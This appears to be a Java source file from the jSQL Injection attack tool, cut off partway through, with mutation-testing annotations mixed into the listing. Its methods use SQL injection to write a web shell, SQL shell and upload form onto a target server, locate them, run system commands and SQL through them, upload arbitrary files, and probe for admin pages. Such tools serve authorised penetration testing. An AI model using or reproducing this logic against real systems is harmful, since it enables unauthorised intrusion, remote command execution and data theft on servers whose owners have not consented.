ResourceAccess.java

1
/*******************************************************************************
2
 * Copyhacked (H) 2012-2020.
3
 * This program and the accompanying materials
4
 * are made available under no term at all, use it like
5
 * you want, but share and discuss about it
6
 * every time possible with every body.
7
 * 
8
 * Contributors:
9
 *      ron190 at ymail dot com - initial implementation
10
 ******************************************************************************/
11
package com.jsql.model.accessible;
12
13
import com.jsql.model.InjectionModel;
14
import com.jsql.model.bean.database.AbstractElementDatabase;
15
import com.jsql.model.bean.util.Header;
16
import com.jsql.model.bean.util.Interaction;
17
import com.jsql.model.bean.util.Request;
18
import com.jsql.model.exception.JSqlException;
19
import com.jsql.model.suspendable.SuspendableGetRows;
20
import com.jsql.util.ConnectionUtil;
21
import com.jsql.util.LogLevelUtil;
22
import com.jsql.util.StringUtil;
23
import org.apache.commons.lang3.StringUtils;
24
import org.apache.logging.log4j.LogManager;
25
import org.apache.logging.log4j.Logger;
26
27
import java.io.File;
28
import java.io.FileInputStream;
29
import java.io.IOException;
30
import java.io.InputStream;
31
import java.net.URI;
32
import java.net.URLEncoder;
33
import java.net.http.HttpRequest;
34
import java.net.http.HttpRequest.BodyPublishers;
35
import java.net.http.HttpResponse;
36
import java.net.http.HttpResponse.BodyHandlers;
37
import java.nio.charset.StandardCharsets;
38
import java.nio.file.Files;
39
import java.nio.file.Paths;
40
import java.time.Duration;
41
import java.util.*;
42
import java.util.concurrent.*;
43
import java.util.function.BiFunction;
44
import java.util.regex.Pattern;
45
46
/**
47
 * Resource access object.
48
 * Get information from file system, commands, webpage.
49
 */
50
public class ResourceAccess {
51
    
52
    /**
53
     * Log4j logger sent to view.
54
     */
55
    private static final Logger LOGGER = LogManager.getRootLogger();
56
57
    /**
58
     * File name for web shell.
59
     */
60
    public final String filenameWebshell;
61
    
62
    /**
63
     * File name for sql shell.
64
     */
65
    public final String filenameSqlshell;
66
    
67
    /**
68
     * File name for upload form.
69
     */
70
    public final String filenameUpload;
71
    
72
    /**
73
     * True if admin page should stop, false otherwise.
74
     */
75
    private boolean isSearchAdminStopped = false;
76
    
77
    /**
78
     * True if scan list should stop, false otherwise.
79
     */
80
    private boolean isScanStopped = false;
81
82
    /**
83
     * True if ongoing file reading must stop, false otherwise.
84
     * If true any new file read is cancelled at start.
85
     */
86
    private boolean isSearchFileStopped = false;
87
88
    /**
89
     * List of ongoing jobs.
90
     */
91
    private final List<CallableFile> callablesReadFile = new ArrayList<>();
92
93
    private static final String MSG_EMPTY_PAYLOAD = "payload integrity check: empty payload";
94
95
    private final InjectionModel injectionModel;
96
97
    public ResourceAccess(InjectionModel injectionModel) {
98
        
99
        this.injectionModel = injectionModel;
100
        
101
        this.filenameWebshell = "." + this.injectionModel.getVersionJsql() + ".jw.php";
102
        this.filenameSqlshell = "." + this.injectionModel.getVersionJsql() + ".js.php";
103
        this.filenameUpload = "." + this.injectionModel.getVersionJsql() + ".ju.php";
104
    }
105
106
    /**
107
     * Check if every page in the list responds 200 Success.
108
     *
109
     * @param urlInjection
110
     * @param pageNames    List of admin pages to test
111
     * @return
112
     */
113
    public int createAdminPages(String urlInjection, List<String> pageNames) {
114
115
        var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
116
        matcher.find();
117
        String urlProtocol = matcher.group(1);
118
        String urlWithoutProtocol = matcher.group(3);
119
120
        List<String> folderSplits = new ArrayList<>();
121
122
        // Hostname only
123 2 1. createAdminPages : negated conditional → NO_COVERAGE
2. createAdminPages : negated conditional → NO_COVERAGE
        if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
124
            urlWithoutProtocol = "/dummy";
125
        }
126
127
        String[] splits = urlWithoutProtocol.split("/", -1);
128 1 1. createAdminPages : Replaced integer subtraction with addition → NO_COVERAGE
        String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
129
        for (String folderName: folderNames) {
130
            folderSplits.add(folderName +"/");
131
        }
132
133
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
134
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
135
136
        var urlPart = new StringBuilder();
137
138
        for (String segment: folderSplits) {
139
140
            urlPart.append(segment);
141
142
            for (String pageName: pageNames) {
143
                taskCompletionService.submit(
144
                    new CallableHttpHead(
145
                        urlProtocol + urlPart + pageName,
146
                        this.injectionModel,
147
                        "check:page"
148
                    )
149
                );
150
            }
151
        }
152
153
        var nbAdminPagesFound = 0;
154 1 1. createAdminPages : Replaced integer multiplication with division → NO_COVERAGE
        int submittedTasks = folderSplits.size() * pageNames.size();
155
        int tasksHandled;
156
157
        for (
158
            tasksHandled = 0
159 3 1. createAdminPages : changed conditional boundary → NO_COVERAGE
2. createAdminPages : negated conditional → NO_COVERAGE
3. createAdminPages : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
160
            ; tasksHandled++
161
        ) {
162
            nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
163
        }
164
165 1 1. createAdminPages : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
166 1 1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::setSearchAdminStopped → NO_COVERAGE
        this.setSearchAdminStopped(false);
167 1 1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE
        this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
168
169
        var request = new Request();
170 1 1. createAdminPages : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.END_ADMIN_SEARCH);
171 1 1. createAdminPages : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
172
173 1 1. createAdminPages : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE
        return nbAdminPagesFound;
174
    }
175
176
    public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
177
        
178
        int nbAdminPagesFoundFixed = nbAdminPagesFound;
179
        
180
        try {
181
            CallableHttpHead currentCallable = taskCompletionService.take().get();
182
            
183 1 1. callAdminPage : negated conditional → NO_COVERAGE
            if (currentCallable.isHttpResponseOk()) {
184
                
185
                var request = new Request();
186 1 1. callAdminPage : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
                request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
187 1 1. callAdminPage : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
                request.setParameters(currentCallable.getUrl());
188 1 1. callAdminPage : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(request);
189
190 1 1. callAdminPage : Changed increment from 1 to -1 → NO_COVERAGE
                nbAdminPagesFoundFixed++;
191
                LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
192
            }
193
        } catch (InterruptedException e) {
194
            
195
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
196 1 1. callAdminPage : removed call to java/lang/Thread::interrupt → NO_COVERAGE
            Thread.currentThread().interrupt();
197
            
198
        } catch (ExecutionException e) {
199
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
200
        }
201
        
202 1 1. callAdminPage : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE
        return nbAdminPagesFoundFixed;
203
    }
204
205
    public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
206
        
207
        var result = String.format(
208
            "Found %s admin page%s%s on %s page%s",
209
            nbAdminPagesFound,
210 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
            nbAdminPagesFound > 1 ? 's' : StringUtils.EMPTY,
211 1 1. logSearchAdminPage : negated conditional → NO_COVERAGE
            tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed" : StringUtils.EMPTY,
212
            submittedTasks,
213 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
            submittedTasks > 1 ? 's' : StringUtils.EMPTY
214
        );
215
        
216 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
        if (nbAdminPagesFound > 0) {
217
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
218
        } else {
219
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
220
        }
221
    }
222
223
    public void createWebShell(String pathShell, String urlShell) throws JSqlException {
224
225
        BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> {
226
            var request = new Request();
227 1 1. lambda$createWebShell$0 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.CREATE_SHELL_TAB);
228 1 1. lambda$createWebShell$0 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(
229
                pathShellFixed.replace(this.filenameWebshell, StringUtils.EMPTY),
230
                urlSuccess
231
            );
232 1 1. lambda$createWebShell$0 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createWebShell$0 → NO_COVERAGE
            return request;
233
        };
234
235 1 1. createWebShell : removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE
        createShell(pathShell, urlShell, "shell.web", this.filenameWebshell, biFunctionGetRequest);
236
    }
237
238
    public void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException {
239
240
        BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> {
241
            var request = new Request();
242 1 1. lambda$createSqlShell$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
243 1 1. lambda$createSqlShell$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(
244
                pathShellFixed.replace(this.filenameSqlshell, StringUtils.EMPTY),
245
                urlSuccess,
246
                username,
247
                password
248
            );
249 1 1. lambda$createSqlShell$1 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createSqlShell$1 → NO_COVERAGE
            return request;
250
        };
251
252 1 1. createSqlShell : removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE
        createShell(pathShell, urlShell, "shell.sql", this.filenameSqlshell, biFunctionGetRequest);
253
    }
254
255
    /**
256
     * Create shell on remote server
257
     * @param pathShell Script to create on the server
258
     * @param urlShell URL for the script (used for url rewriting)
259
     */
260
    public void createShell(
261
        String pathShell,
262
        String urlShell,
263
        String property,
264
        String filename,
265
        BiFunction<String, String, Request> biFunctionGetRequest
266
    ) throws JSqlException {
267
268 1 1. createShell : negated conditional → NO_COVERAGE
        if (this.isReadingNotAllowed()) {
269
            return;
270
        }
271
272
        String bodyShell = StringUtil.base64Decode(
273
            this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperties().getProperty(property)
274
        )
275
        .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
276
        .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
277
278
        String pathShellFixed = pathShell;
279 1 1. createShell : negated conditional → NO_COVERAGE
        if (!pathShellFixed.matches(".*/$")) {
280
            pathShellFixed += "/";
281
        }
282
283
        this.injectionModel.injectWithoutIndex(
284
            this.injectionModel
285
            .getMediatorVendor()
286
            .getVendor()
287
            .instance()
288
            .sqlTextIntoFile(bodyShell, pathShellFixed + filename),
289
            "shell:create"
290
        );
291
292
        String resultInjection;
293
        var sourcePage = new String[]{ StringUtils.EMPTY };
294
        try {
295
            resultInjection = new SuspendableGetRows(this.injectionModel).run(
296
                this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + filename),
297
                sourcePage,
298
                false,
299
                1,
300
                AbstractElementDatabase.MOCK,
301
                "shell:read"
302
            );
303
304 1 1. createShell : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(resultInjection)) {
305
                throw new JSqlException(MSG_EMPTY_PAYLOAD);
306
            }
307
        } catch (JSqlException e) {
308
            throw new JSqlException("injected payload does not match source", e);
309
        }
310
311
        String urlShellFixed = urlShell;
312
313 1 1. createShell : negated conditional → NO_COVERAGE
        if (!urlShellFixed.isEmpty()) {
314
            urlShellFixed = urlShellFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
315
        }
316
317
        String url = urlShellFixed;
318 1 1. createShell : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(url)) {
319
            url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
320
        }
321
322 1 1. createShell : negated conditional → NO_COVERAGE
        if (!resultInjection.contains(bodyShell)) {
323
            throw this.getIntegrityError(sourcePage);
324
        }
325
326
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload created into '{}{}'", pathShellFixed, filename);
327
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
328
        String urlProtocol;
329
330 1 1. createShell : negated conditional → NO_COVERAGE
        if ("/".equals(urlWithoutProtocol)) {
331
            urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
332
        } else {
333
            urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
334
        }
335
336
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
337
338
        List<String> directoryNames = new ArrayList<>();
339 1 1. createShell : negated conditional → NO_COVERAGE
        if (urlWithoutFileName.split("/").length == 0) {
340
            directoryNames.add("/");
341
        }
342
343
        for (String directoryName: urlWithoutFileName.split("/")) {
344
            directoryNames.add(directoryName +"/");
345
        }
346
347
        String urlSuccess = getShellUrl(filename, directoryNames, urlProtocol);
348
349 1 1. createShell : negated conditional → NO_COVERAGE
        if (urlSuccess != null) {
350
351
            var request = biFunctionGetRequest.apply(filename, urlSuccess);
352 1 1. createShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
353
354
        } else {
355
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Payload not found");
356
        }
357
    }
358
359
    private String getShellUrl(String filename, List<String> directoryNames, String urlProtocol) {
360
361
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableCreateShell");
362
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
363
        var urlPart = new StringBuilder();
364
365
        for (String segment: directoryNames) {
366
367
            urlPart.append(segment);
368
            taskCompletionService.submit(
369
                new CallableHttpHead(
370
                    urlProtocol + urlPart + filename,
371
                    this.injectionModel,
372
                    "shell#confirm"
373
                )
374
            );
375
        }
376
377
        int submittedTasks = directoryNames.size();
378
        String urlSuccess = null;
379
380 2 1. getShellUrl : changed conditional boundary → NO_COVERAGE
2. getShellUrl : negated conditional → NO_COVERAGE
        for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
381
            try {
382
                CallableHttpHead currentCallable = taskCompletionService.take().get();
383
384 1 1. getShellUrl : negated conditional → NO_COVERAGE
                if (currentCallable.isHttpResponseOk()) {
385
386
                    urlSuccess = currentCallable.getUrl();
387
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload found: {}", urlSuccess);
388
389
                } else {
390
                    LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Payload not found: {}", currentCallable.getUrl());
391
                }
392
            } catch (InterruptedException e) {
393
394
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
395 1 1. getShellUrl : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
396
397
            } catch (ExecutionException e) {
398
                LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
399
            }
400
        }
401
402 1 1. getShellUrl : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
403
404 1 1. getShellUrl : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getShellUrl → NO_COVERAGE
        return urlSuccess;
405
    }
406
407
    /**
408
     * 
409
     * @param urlCommand
410
     * @return
411
     */
412
    public String runCommandShell(String urlCommand) {
413
        
414
        String pageSource;
415
        try {
416
            pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand);
417
        } catch (Exception e) {
418
            pageSource = StringUtils.EMPTY;
419
        }
420
        
421
        var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*)<"+ DataAccess.TRAIL +">").matcher(pageSource);
422
        regexSearch.find();
423
424
        String result;
425
        
426
        // IllegalStateException #1544: catch incorrect execution
427
        try {
428
            result = regexSearch.group(1);
429
        } catch (IllegalStateException e) {
430
            
431
            // Fix return null from regex
432
            result = StringUtils.EMPTY;
433
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect response from Web shell");
434
        }
435
        
436
        return result;
437
    }
438
    
439
    /**
440
     * Run a shell command on host.
441
     * @param command The command to execute
442
     * @param uuidShell An unique identifier for terminal
443
     * @param urlShell Web path of the shell
444
     */
445
    public String runWebShell(String command, UUID uuidShell, String urlShell) {
446
        
447
        String result = this.runCommandShell(
448
            urlShell + "?c="+ URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1)
449
        );
450
451 1 1. runWebShell : negated conditional → NO_COVERAGE
        if (StringUtils.isBlank(result)) {
452
            // TODO Payload should redirect directly error to normal output
453
            result = "No result.\nTry '"+ command.trim() +" 2>&1' to get a system error message.\n";
454
        }
455
456
        // Unfroze interface
457
        var request = new Request();
458 1 1. runWebShell : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.GET_WEB_SHELL_RESULT);
459 1 1. runWebShell : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(uuidShell, result);
460 1 1. runWebShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
461
462 1 1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE
        return result;
463
    }
464
465
    /**
466
     * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
467
     * @param command SQL request to execute
468
     * @param uuidShell Identifier of terminal sending the request
469
     * @param urlShell URL to send SQL request against
470
     * @param username User name [optional]
471
     * @param password USEr password [optional]
472
     */
473
    public String runSqlShell(String command, UUID uuidShell, String urlShell, String username, String password) {
474
        
475
        String result = this.runCommandShell(
476
            String.format(
477
                 "%s?q=%s&u=%s&p=%s",
478
                 urlShell,
479
                 URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1),
480
                 username,
481
                 password
482
            )
483
        );
484
            
485 1 1. runSqlShell : negated conditional → NO_COVERAGE
        if (result.contains("<SQLr>")) {
486
487
            List<List<String>> listRows = this.parse(result);
488
489 1 1. runSqlShell : negated conditional → NO_COVERAGE
            if (listRows.isEmpty()) {
490
                return StringUtils.EMPTY;
491
            }
492
493
            List<Integer> listFieldsLength = this.parseColumnLength(listRows);
494
            result = this.convert(listRows, listFieldsLength);
495
496 1 1. runSqlShell : negated conditional → NO_COVERAGE
        } else if (result.contains("<SQLm>")) {
497
            result = result.replace("<SQLm>", StringUtils.EMPTY) + "\n";
498 1 1. runSqlShell : negated conditional → NO_COVERAGE
        } else if (result.contains("<SQLe>")) {
499
            result = result.replace("<SQLe>", StringUtils.EMPTY) + "\n";
500
        }
501
502
        // Unfroze interface
503
        var request = new Request();
504 1 1. runSqlShell : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.GET_SQL_SHELL_RESULT);
505 1 1. runSqlShell : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(uuidShell, result, command);
506 1 1. runSqlShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
507
508 1 1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE
        return result;
509
    }
510
511
    private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
512
        
513
        var tableText = new StringBuilder("+");
514
        
515
        for (Integer fieldLength: listFieldsLength) {
516
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
517
        }
518
        
519
        tableText.append("\n");
520
521
        for (List<String> listFields: listRows) {
522
            
523
            tableText.append("|");
524
            var cursorPosition = 0;
525
            
526
            for (String field: listFields) {
527
                
528
                tableText.append(StringUtils.SPACE)
529
                    .append(field)
530 1 1. convert : Replaced integer subtraction with addition → NO_COVERAGE
                    .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
531
                    .append(" |");
532 1 1. convert : Changed increment from 1 to -1 → NO_COVERAGE
                cursorPosition++;
533
            }
534
            
535
            tableText.append("\n");
536
        }
537
538
        tableText.append("+");
539
        
540
        for (Integer fieldLength: listFieldsLength) {
541
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
542
        }
543
        
544
        tableText.append("\n");
545
        
546 1 1. convert : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE
        return tableText.toString();
547
    }
548
549
    private List<Integer> parseColumnLength(List<List<String>> listRows) {
550
        
551
        List<Integer> listFieldsLength = new ArrayList<>();
552
        
553
        for (
554
            var indexLongestRowSearch = 0;
555 2 1. parseColumnLength : changed conditional boundary → NO_COVERAGE
2. parseColumnLength : negated conditional → NO_COVERAGE
            indexLongestRowSearch < listRows.get(0).size();
556
            indexLongestRowSearch++
557
        ) {
558
            int indexLongestRowSearchFinal = indexLongestRowSearch;
559
            
560 1 1. parseColumnLength : removed call to java/util/List::sort → NO_COVERAGE
            listRows.sort(
561 2 1. lambda$parseColumnLength$2 : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$2 → NO_COVERAGE
2. lambda$parseColumnLength$2 : Replaced integer subtraction with addition → NO_COVERAGE
                (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
562
            );
563
564
            listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
565
        }
566
        
567 1 1. parseColumnLength : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE
        return listFieldsLength;
568
    }
569
570
    private List<List<String>> parse(String result) {
571
        
572
        List<List<String>> listRows = new ArrayList<>();
573
        var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
574
        
575 1 1. parse : negated conditional → NO_COVERAGE
        while (rowsMatcher.find()) {
576
            
577
            String values = rowsMatcher.group(1);
578
579
            var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
580
            List<String> listFields = new ArrayList<>();
581
            listRows.add(listFields);
582
            
583 1 1. parse : negated conditional → NO_COVERAGE
            while (fieldsMatcher.find()) {
584
                
585
                String field = fieldsMatcher.group(1);
586
                listFields.add(field);
587
            }
588
        }
589
        
590 1 1. parse : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE
        return listRows;
591
    }
592
593
    /**
594
     * Upload a file to the server.
595
     * @param pathFile Remote path of the file to upload
596
     * @param urlFile URL of uploaded file
597
     * @param file File to upload
598
     * @throws JSqlException
599
     * @throws IOException
600
     * @throws InterruptedException
601
     */
602
    public void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException, InterruptedException {
603
        
604 1 1. uploadFile : negated conditional → NO_COVERAGE
        if (this.isReadingNotAllowed()) {
605
            return;
606
        }
607
        
608
        String bodyShell = StringUtil.base64Decode(
609
            this.injectionModel.getMediatorUtils()
610
            .getPropertiesUtil()
611
            .getProperties()
612
            .getProperty("shell.upload")
613
        )
614
        .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD);
615
        
616
        String pathShellFixed = pathFile;
617
        
618 1 1. uploadFile : negated conditional → NO_COVERAGE
        if (!pathShellFixed.matches(".*/$")) {
619
            pathShellFixed += "/";
620
        }
621
        
622
        this.injectionModel.injectWithoutIndex(
623
            this.injectionModel.getMediatorVendor()
624
            .getVendor()
625
            .instance()
626
            .sqlTextIntoFile(
627
                "<"+ DataAccess.LEAD +">"+ bodyShell +"<"+ DataAccess.TRAIL +">",
628
                pathShellFixed + this.filenameUpload
629
            ),
630
            "upload"
631
        );
632
633
        var sourcePage = new String[]{ StringUtils.EMPTY };
634
        String bodyShellInjected;
635
        
636
        try {
637
            bodyShellInjected = new SuspendableGetRows(this.injectionModel).run(
638
                this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + this.filenameUpload),
639
                sourcePage,
640
                false,
641
                1,
642
                AbstractElementDatabase.MOCK,
643
                "upload"
644
            );
645
            
646 1 1. uploadFile : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(bodyShellInjected)) {
647
                throw new JSqlException(MSG_EMPTY_PAYLOAD);
648
            }
649
        } catch (JSqlException e) {
650
            throw this.getIntegrityError(sourcePage);
651
        }
652
653
        String urlFileFixed = urlFile;
654 1 1. uploadFile : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlFileFixed)) {
655
            urlFileFixed = this.injectionModel.getMediatorUtils()
656
                .getConnectionUtil()
657
                .getUrlBase()
658
                .substring(
659
                    0,
660 1 1. uploadFile : Replaced integer addition with subtraction → NO_COVERAGE
                    this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase().lastIndexOf('/') + 1
661
                );
662
        }
663
        
664 1 1. uploadFile : negated conditional → NO_COVERAGE
        if (bodyShellInjected.contains(bodyShell)) {
665
            
666
            String logUrlFileFixed = urlFileFixed;
667
            String logPathShellFixed = pathShellFixed;
668
            LOGGER.log(
669
                LogLevelUtil.CONSOLE_SUCCESS,
670
                "Upload payload deployed at '{}{}' in '{}{}'",
671 1 1. lambda$uploadFile$3 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$3 → NO_COVERAGE
                () -> logUrlFileFixed,
672 1 1. lambda$uploadFile$4 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$4 → NO_COVERAGE
                () -> this.filenameUpload,
673 1 1. lambda$uploadFile$5 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$5 → NO_COVERAGE
                () -> logPathShellFixed,
674 1 1. lambda$uploadFile$6 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$6 → NO_COVERAGE
                () -> this.filenameUpload
675
            );
676
            
677
            try (InputStream streamToUpload = new FileInputStream(file)) {
678
679
                HttpResponse<String> result = this.upload(file, urlFileFixed +"/"+ this.filenameUpload, streamToUpload);
680
                
681 1 1. uploadFile : removed call to com/jsql/model/accessible/ResourceAccess::confirmUpload → NO_COVERAGE
                this.confirmUpload(file, pathShellFixed, urlFileFixed, result);
682
            }
683
        } else {
684
            throw this.getIntegrityError(sourcePage);
685
        }
686
        
687
        var request = new Request();
688 1 1. uploadFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.END_UPLOAD);
689 1 1. uploadFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
690
    }
691
692
    private HttpResponse<String> upload(File file, String string, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
693
        
694
        var crLf = "\r\n";
695
        var boundary = "---------------------------4664151417711";
696
        
697
        var streamData = new byte[streamToUpload.available()];
698
        
699 1 1. upload : negated conditional → NO_COVERAGE
        if (streamToUpload.read(streamData) == -1) {
700
            throw new JSqlException("Error reading the file");
701
        }
702
        
703
        String headerForm = StringUtils.EMPTY;
704
        headerForm += "--"+ boundary + crLf;
705
        headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
706
        headerForm += "Content-Type: binary/octet-stream"+ crLf;
707
        headerForm += crLf;
708
709
        String headerFile = StringUtils.EMPTY;
710
        headerFile += crLf +"--"+ boundary +"--"+ crLf;
711
712
        var httpRequest = HttpRequest.newBuilder()
713
            .uri(URI.create(string))
714
            .timeout(Duration.ofSeconds(15))
715
            .POST(
716
                BodyPublishers.ofByteArrays(
717
                    Arrays.asList(
718
                        headerForm.getBytes(StandardCharsets.UTF_8),
719
                        Files.readAllBytes(Paths.get(file.toURI())),
720
                        headerFile.getBytes(StandardCharsets.UTF_8)
721
                    )
722
                )
723
            )
724
            .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
725
            .build();
726
            
727 1 1. upload : replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE
        return this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().send(httpRequest, BodyHandlers.ofString());
728
    }
729
730
    private void confirmUpload(File file, String pathShellFixed, String urlFileFixed, HttpResponse<String> httpResponse) {
731
   
732 1 1. confirmUpload : negated conditional → NO_COVERAGE
        if (httpResponse.body().contains(DataAccess.LEAD + "y")) {
733
            LOGGER.log(
734
                LogLevelUtil.CONSOLE_SUCCESS,
735
                "File '{}' uploaded into '{}'",
736
                file::getName,
737 1 1. lambda$confirmUpload$7 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$7 → NO_COVERAGE
                () -> pathShellFixed
738
            );
739
        } else {
740
            LOGGER.log(
741
